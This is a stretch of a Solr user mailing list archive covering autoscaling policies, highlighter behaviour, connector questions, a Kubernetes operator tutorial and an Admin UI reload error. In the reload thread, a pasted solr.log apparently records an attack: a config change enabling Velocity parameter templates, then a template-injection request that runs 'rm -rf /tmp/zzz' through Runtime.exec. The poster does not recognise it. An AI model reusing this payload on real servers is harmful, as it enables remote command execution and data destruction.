Re: auotscaling tlog+pull and replicationFactor

[Sandeep Dharembra]

I am not sure whether you have added triggers for nodelost and nodeadd
events

Action is taken based on triggers which have the execute plan. You can move
create replicas and also delete node in these triggers.


One more thing, since you are using solr 7.7 if you add move replica action
to the nodeadd trigger it will be fine but if you want to use addreplica on
nodeadd event, this version of solr supports only addition of nrt type. If
you want to add pull the support was added to specify replica type in solr
8.4

On Thu, Apr 2, 2020, 7:51 PM Richard Goodman 
wrote:

> Hi there,
>
> I'm currently using solr v7.7.2 *(I applied the patch SOLR-13674
>  to my build to preserve
> replica types for triggers)* and trying to set up a cluster with the
> combination of TLOG+PULL replicas and utilising the solr autoscaling
> feature to maintain the stability of the cluster.
>
> I'm getting confused though with the documentation.
>
> When creating a collection, if you specify "replicationFactor=3" then it'll
> create 3 NRT replicas, and from my understanding, this information is
> preserved within autoscaling, i.e. if a node went down, it would attempt to
> add another replica to preserve the replicationFactor.
>
> However, because I'm using TLOG + PULL, I don't add the
> "replicationFactor=3" into my collection creation, otherwise it ends up
> creating a collection with 3 NRT replicas, 1 TLOG and 2 PULL replicas,
> which of course I do not want.
>
> Instead, I add "=1=2" which satisfies. However,
> when it comes to me creating policies, I'm not getting violations when
> expected.
>
> I created the following policies:
> {
>   "replica": "<2",
>   "shard": "#EACH",
>   "type": "TLOG",
>   "node": "#ANY"
> },
> {
>   "replica": "<3",
>   "shard": "#EACH",
>   "type": "PULL",
>   "node": "#ANY"
> }
>
> And there appears to be 0 violations, however, when I add another replica,
> there are still 0 violations despite there now being 4 replicas for a given
> shard of a collection;
>
> "violations":[],
> "config":{
>   "cluster-preferences":[{
>   "minimize":"cores",
>   "precision":1}
> ,{
>   "maximize":"freedisk"}],
>   "cluster-policy":[{
>   "replica":"<2",
>   "shard":"#EACH",
>   "type":"TLOG",
>   "node":"#ANY"}
> ,{
>   "replica":"<3",
>   "shard":"#EACH",
>   "type":"PULL",
>   "node":"#ANY"}]}},
>
> And here is the information about a collection-shard in which I added an
> extra replica to which I expected there to be a violation:
> {
>   "replica_p35": {
> "core": "collection_four_shard1_replica_p35",
> "shard": "shard1",
> "collection": "collection_four",
> "state": "active",
> "shard_name": "collection_four_shard1",
> "num_shards": 6,
> "type": "PULL"
>   },
>   "replica_p31": {
> "core": "collection_four_shard1_replica_p31",
> "shard": "shard1",
> "collection": "collection_four",
> "state": "active",
> "shard_name": "collection_four_shard1",
> "num_shards": 6,
> "type": "PULL"
>   },
>   "replica_p87": {
> "core": "collection_four_shard1_replica_p87",
> "shard": "shard1",
> "collection": "collection_four",
> "state": "active",
> "shard_name": "collection_four_shard1",
> "num_shards": 6,
> "type": "PULL"
>   },
>   "replica_t75": {
> "core": "collection_four_shard1_replica_t75",
> "shard": "shard1",
> "collection": "collection_four",
> "state": "active",
> "shard_name": "collection_four_shard1",
> "type": "TLOG",
> "leader": "true"
>   }
> }
>
> Am I missing something to preserve replicationFactor for a collection, and
> trying to make collections have 1 TLOG replica and 2 PULL replicas?
>
> I tried adding the following
> {"replicas": "<4", "shard":"#EACH", "node": "#ANY"}
>
> However, still no luck
>
> Equally, how would I then go about setting up triggers to only create a
> PULL if a PULL goes down, and equally if the TLOG goes down? Would having a
> trigger for each type be needed?
>
> Any guidance on this would be greatly appreciated
> Thanks,
> --
>
> Richard Goodman
>

Re: Admin UI core loading fails

[TK Solr]

On 4/2/20 5:39 AM, Erick Erickson wrote:

What do your Solr logs show? My bet is that your mods to the configs somehow 
caused the reload to fail too early in the process to be shown in the UI.


These are the lines in solr.log that I see lead to the stack trace (core name 
has been modified to my_core). I don't understand why Velocity is involved. Is 
it used by Admin UI?


2020-04-02 02:16:33.851 INFO  (qtp429353573-15) [   x:my_core] 
o.a.s.h.SolrConfigHandler Executed config commands successfully and persited to 
File System [{"update-queryresponsewriter":{

    "startup":"lazy",
    "name":"velocity",
    "class":"solr.VelocityResponseWriter",
    "template.base.dir":"",
    "solr.resource.loader.enabled":"true",
    "params.resource.loader.enabled":"true"}}]
2020-04-02 02:16:33.854 INFO  (qtp429353573-15) [   x:my_core] o.a.s.c.S.Request 
[my_core]  webapp=/solr path=/config params={} status=0 QTime=487
2020-04-02 02:16:33.854 INFO  (qtp429353573-15) [   x:my_core] o.a.s.c.SolrCore 
[my_core]  CLOSING SolrCore org.apache.solr.core.SolrCore@7b0eae1f
2020-04-02 02:16:33.855 INFO  (qtp429353573-15) [   x:my_core] 
o.a.s.m.SolrMetricManager Closing metric reporters for 
registry=solr.core.my_core, tag=SolrCore@7b0eae1f
2020-04-02 02:16:33.855 INFO  (qtp429353573-15) [   x:my_core] 
o.a.s.m.r.SolrJmxReporter Closing reporter 
[org.apache.solr.metrics.reporters.SolrJmxReporter@2f090079: rootName = null, 
domain = solr.core.my_core, service url = null, agent id = null] for registry 
solr.core.my_core / com.codahale.metrics.MetricRegistry@4125989a
2020-04-02 02:16:33.858 INFO (searcherExecutor-29-thread-1-processing-x:my_core) 
[   x:my_core] o.a.s.c.SolrCore [my_core] Registered new searcher 
Searcher@45a874aa[my_core] 
main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(8.3.1):C55967:[diagnostics={java.vendor=Ubuntu, 
os=Linux, java.version=11.0.6, 
java.vm.version=11.0.6+10-post-Ubuntu-1ubuntu118.04.1, lucene.version=8.3.1, 
os.arch=amd64, java.runtime.version=11.0.6+10-post-Ubuntu-1ubuntu118.04.1, 
source=flush, os.version=4.15.0-76-generic, 
timestamp=1585790971495}]:[attributes={Lucene50StoredFieldsFormat.mode=BEST_SPEED}])))}
2020-04-02 02:16:34.105 INFO  (qtp429353573-17) [   x:my_core] o.a.s.c.S.Request 
[my_core]  webapp=/solr path=/select 
params={q=1=custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('rm+-rf+/tmp/zzz'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end=velocity} 
hits=0 status=0 QTime=1
2020-04-02 02:16:34.106 INFO  (qtp429353573-17) [   x:my_core] o.a.s.c.PluginBag 
Going to create a new queryResponseWriter with {type = queryResponseWriter,name 
= velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, 
name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, 
solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = 
{startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [   x:my_core] o.a.v.loader 
ResourceManager: unable to find resource 'custom.vm' in any resource loader.
2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [   x:my_core] 
o.a.s.s.HttpSolrCall null:java.io.IOException: Unable to find resource 'custom.vm'




Best,
Erick


On Apr 2, 2020, at 02:50, TK Solr  wrote:

I'm on Solr 8.3.1 running in non-solrcloud mode.

When I tried to reload an existing core from Admin UI's "Core Admin" by 
clicking Reload, after modifying the core's conf/managed-schema, no error was reported. 
But the newly added field type is not shown in the core's Analyzer section.

I selected Logging from the side bar, I saw errors like this for every core, 
not just the core I tried to reload.

null:java.io.IOException: Unable to find resource 'custom.vm'
 at 
org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
 at 
org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
 at 
org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
 at 
org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
 at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
 at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
 at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
 at 
org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
 at 
org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)

I could not find any mention of custom.vm in any files under any core's conf 
directory.

I restarted Solr, the core was loaded 

auotscaling tlog+pull and replicationFactor

[Richard Goodman]

Hi there,

I'm currently using solr v7.7.2 *(I applied the patch SOLR-13674
 to my build to preserve
replica types for triggers)* and trying to set up a cluster with the
combination of TLOG+PULL replicas and utilising the solr autoscaling
feature to maintain the stability of the cluster.

I'm getting confused though with the documentation.

When creating a collection, if you specify "replicationFactor=3" then it'll
create 3 NRT replicas, and from my understanding, this information is
preserved within autoscaling, i.e. if a node went down, it would attempt to
add another replica to preserve the replicationFactor.

However, because I'm using TLOG + PULL, I don't add the
"replicationFactor=3" into my collection creation, otherwise it ends up
creating a collection with 3 NRT replicas, 1 TLOG and 2 PULL replicas,
which of course I do not want.

Instead, I add "=1=2" which satisfies. However,
when it comes to me creating policies, I'm not getting violations when
expected.

I created the following policies:
{
  "replica": "<2",
  "shard": "#EACH",
  "type": "TLOG",
  "node": "#ANY"
},
{
  "replica": "<3",
  "shard": "#EACH",
  "type": "PULL",
  "node": "#ANY"
}

And there appears to be 0 violations, however, when I add another replica,
there are still 0 violations despite there now being 4 replicas for a given
shard of a collection;

"violations":[],
"config":{
  "cluster-preferences":[{
  "minimize":"cores",
  "precision":1}
,{
  "maximize":"freedisk"}],
  "cluster-policy":[{
  "replica":"<2",
  "shard":"#EACH",
  "type":"TLOG",
  "node":"#ANY"}
,{
  "replica":"<3",
  "shard":"#EACH",
  "type":"PULL",
  "node":"#ANY"}]}},

And here is the information about a collection-shard in which I added an
extra replica to which I expected there to be a violation:
{
  "replica_p35": {
"core": "collection_four_shard1_replica_p35",
"shard": "shard1",
"collection": "collection_four",
"state": "active",
"shard_name": "collection_four_shard1",
"num_shards": 6,
"type": "PULL"
  },
  "replica_p31": {
"core": "collection_four_shard1_replica_p31",
"shard": "shard1",
"collection": "collection_four",
"state": "active",
"shard_name": "collection_four_shard1",
"num_shards": 6,
"type": "PULL"
  },
  "replica_p87": {
"core": "collection_four_shard1_replica_p87",
"shard": "shard1",
"collection": "collection_four",
"state": "active",
"shard_name": "collection_four_shard1",
"num_shards": 6,
"type": "PULL"
  },
  "replica_t75": {
"core": "collection_four_shard1_replica_t75",
"shard": "shard1",
"collection": "collection_four",
"state": "active",
"shard_name": "collection_four_shard1",
"type": "TLOG",
"leader": "true"
  }
}

Am I missing something to preserve replicationFactor for a collection, and
trying to make collections have 1 TLOG replica and 2 PULL replicas?

I tried adding the following
{"replicas": "<4", "shard":"#EACH", "node": "#ANY"}

However, still no luck

Equally, how would I then go about setting up triggers to only create a
PULL if a PULL goes down, and equally if the TLOG goes down? Would having a
trigger for each type be needed?

Any guidance on this would be greatly appreciated
Thanks,
-- 

Richard Goodman

unified highlighter methods works unexpected

[Szűcs Roland]

Hi All,

I use Solr 8.4.1 and implement suggester functionality. As part of the
suggestions I would like to show product info so I had to implement this
functionality with normal query parsers instead of suggester component. I
applied an edgengramm filter without stemming to fasten the analysis of the
query which is crucial for the suggester functionality.
I could use the Highlight component with edismax query parser without any
problem. This is a typical output if hl.method=original (this is the
default):
{ "responseHeader":{ "status":0, "QTime":4, "params":{ "mm":"3<74%", "q":"Arany
Já", "tie":"0.1", "defType":"edismax", "hl":"true", "echoParams":"all", "qf
":"author_ngram^5 title_ngram^10", "fl":"id,imageUrl,title,price",
"pf":"author_ngram^15
title_ngram^30", "hl.fl":"title", "hl.method":"original", "_":
"1585830768672"}}, "response":{"numFound":2,"start":0,"docs":[ { "id":"369",
"title":"Arany János összes költeményei", "price":185.0, "imageUrl":"
https://cdn.bknw.net/prd/covers_big/369.jpg"}, { "id":"26321", "title":"Arany
János összes költeményei", "price":1400.0, "imageUrl":"
https://cdn.bknw.net/prd/covers_big/26321.jpg"}] }, "highlighting":{ "369":{
"title":["\n \n Arany\n \n János összes költeményei"]}, "
26321":{ "title":["\n \n Arany\n \n János összes
költeményei"]}}}

If I change the method to unified, I get unexpected result:
{ "responseHeader":{ "status":0, "QTime":5, "params":{ "mm":"3<74%", "q":"Arany
Já", "tie":"0.1", "defType":"edismax", "hl":"true", "echoParams":"all", "qf
":"author_ngram^5 title_ngram^10", "fl":"id,imageUrl,title,price",
"pf":"author_ngram^15
title_ngram^30", "hl.fl":"title", "hl.method":"unified", "_":"1585830768672"
}}, "response":{"numFound":2,"start":0,"docs":[ { "id":"369", "title":"Arany
János összes költeményei", "price":185.0, "imageUrl":"
https://cdn.bknw.net/prd/covers_big/369.jpg"}, { "id":"26321", "title":"Arany
János összes költeményei", "price":1400.0, "imageUrl":"
https://cdn.bknw.net/prd/covers_big/26321.jpg"}] }, "highlighting":{ "369":{
"title":[]}, "26321":{ "title":[]}}}

Any idea why the newest method fails to deliver the same results?

Thanks,
Roland

Solr connectivity with Apachhe Kudu and Apache Presto

[Meraj Alam]

Hi,

Does Solr have connectivity with Apache Kudu, Apache Presto and AWS s3
services.
Kindly let me know about this.


Regards,
Meraj

-- 
*
***Disclaimer**
*This email communication (including any attachments) 
contains information which is confidential and may be legally privileged. 
It is for the exclusive use of the intended recipient/s. If you are not the 
intended recipient, please delete this email communication (including any 
attachments) and hard copies immediately, please preserve its 
confidentiality and notify the sender. Any unauthorized use or 
dissemination of this email communication (including any attachments) in 
any manner whatsoever, in whole or in part, is strictly prohibited. This 
email communication (including any attachments), may not be free of 
viruses, you should carry out your own virus checks before opening any 
attachment to this e-mail. The sender of this e-mail and Cuelogic 
Technologies shall not be liable for any damage that you may sustain as a 
result of viruses, in completeness of this message, a delay in receipt of 
this message. Any views or opinions presented in this email are solely 
those of the author and do not necessarily represent those of Cuelogic 
Technologies. Cuelogic Technologies will not accept any liability in 
respect of such content of this email, and the author shall be solely 
responsible and will be personally liable for any damages or other 
liability.*

Solr proximity search highlighting issue

[Nirav Shah]

Hello Dev Team,

I found some problem in highlighting module. Not all the search terms are 
getting highlighted.

Sample query: q={!complexphrase+inOrder=true}"pos1 (pos2 OR pos3)"~30=true
Indexed text: "pos1 pos2 pos3 pos4"

please find attached response xml screen shot from solr.

You can see that only two terms are highlighted like, "pos1 
pos2 pos3 pos4"

The scenario is same in Solr source code since long time (I have checked in 
Solr version 4 to version 7). The scenario is when term positions are in-order 
in document and query both.

Please let me know your view on this.

Thank you,
Amit



pos1 pos2 pos3 pos4

Re: Admin UI core loading fails

[Erick Erickson]

What do your Solr logs show? My bet is that your mods to the configs somehow 
caused the reload to fail too early in the process to be shown in the UI.

Best,
Erick

> On Apr 2, 2020, at 02:50, TK Solr  wrote:
> 
> I'm on Solr 8.3.1 running in non-solrcloud mode.
> 
> When I tried to reload an existing core from Admin UI's "Core Admin" by 
> clicking Reload, after modifying the core's conf/managed-schema, no error was 
> reported. But the newly added field type is not shown in the core's Analyzer 
> section.
> 
> I selected Logging from the side bar, I saw errors like this for every core, 
> not just the core I tried to reload.
> 
> null:java.io.IOException: Unable to find resource 'custom.vm'
> at 
> org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
> at 
> org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
> at 
> org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
> at 
> org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
> at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
> at 
> org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
> at 
> org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
> at 
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
> at 
> org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
> 
> I could not find any mention of custom.vm in any files under any core's conf 
> directory.
> 
> I restarted Solr, the core was loaded without an error and I can see the 
> newly added filed type.
> 
> What could be the cause of these errors that only happens with the Reload 
> button?
> 
> TK
> 
> 

Solr on Kubernetes with solr-operator

[Jan Høydahl]

So I finally had some time to play with the new Solr Operator 
(https://github.com/bloomberg/solr-operator) for a client
I got a shiny ZK ensemble and a Solr cluster up and running in a few hours, but 
not without some learning curve.

If you want to try and happen to be on a Mac, then I wrote up a tutorial that 
should get you going within 30 minutes :)
https://gist.github.com/janhoy/19bd70ab4ecbcc35eeaecfbc63fbbe1c

Give it a shot and let me know how it went. I’m sure Bloomberg is happy for 
feedback on the Operator as well.

Jan

Re: FW: Solr proximity search highlighting issue

[Charlie Hull]

I may be wrong here, but the problem may be that the match was on your 
terms pos1 and pos2 (you don't need the pos3 term to match, due to the 
OR operator) and thus that's what's been highlighted.


There's a hl.q parameter that lets you supply a different query for 
highlighting to the one you're using for searching, perhaps that could 
have a different and more forgiving pattern that made sure all your 
terms were highlighted?


Also, the XML didn't come through as this list strips attachments.

Best

Charlie

On 31/03/2020 19:27, Anil Shingala wrote:


Hello Dev Team,

I found some problem in highlighting module. Not all the search terms 
are getting highlighted.


Sample query: q={!complexphrase+inOrder=true}"pos1 (pos2 OR 
pos3)"~30=true


Indexed text: "pos1 pos2 pos3 pos4"

please find attached response xml screen shot from solr.

You can see that only two terms are highlighted like, "pos1 
pos2 pos3 pos4"


The scenario is same in Solr source code since long time (I have 
checked in Solr version 4 to version 7). The scenario is when term 
positions are in-order in document and query both.


Please let me know your view on this.

Regards,

Anil Shingala

*Knovos*
10521 Rosehaven Street, Suite 300 | Fairfax, VA 22030 (USA)
Office +1 703.226.1505

Main +1 703.226.1500 | +1 877.227.5457

/ashing...@knovos.com/ 
/_|_//www.knovos.com/ 



Washington DC | New York | London | Paris | Gandhinagar | Tokyo

/Knovos was formerly also known as Capital Novus or Capital Legal 
Solutions. The information contained in this email message may be 
confidential or legally privileged. If you are not the intended 
recipient, please advise the sender by replying to this email and by 
immediately deleting all copies of this message and any attachments. 
Knovos, LLC is not authorized to practice law./




--
Charlie Hull
OpenSource Connections, previously Flax

tel/fax: +44 (0)8700 118334
mobile:  +44 (0)7767 825828
web: www.o19s.com

Admin UI core loading fails

[TK Solr]

I'm on Solr 8.3.1 running in non-solrcloud mode.

When I tried to reload an existing core from Admin UI's "Core Admin" by clicking 
Reload, after modifying the core's conf/managed-schema, no error was reported. 
But the newly added field type is not shown in the core's Analyzer section.


I selected Logging from the side bar, I saw errors like this for every core, not 
just the core I tried to reload.


null:java.io.IOException: Unable to find resource 'custom.vm'
    at 
org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
    at 
org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
    at 
org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)

    at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
    at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
    at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
    at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
    at 
org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)

    at 
org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)

I could not find any mention of custom.vm in any files under any core's conf 
directory.


I restarted Solr, the core was loaded without an error and I can see the newly 
added filed type.


What could be the cause of these errors that only happens with the Reload 
button?

TK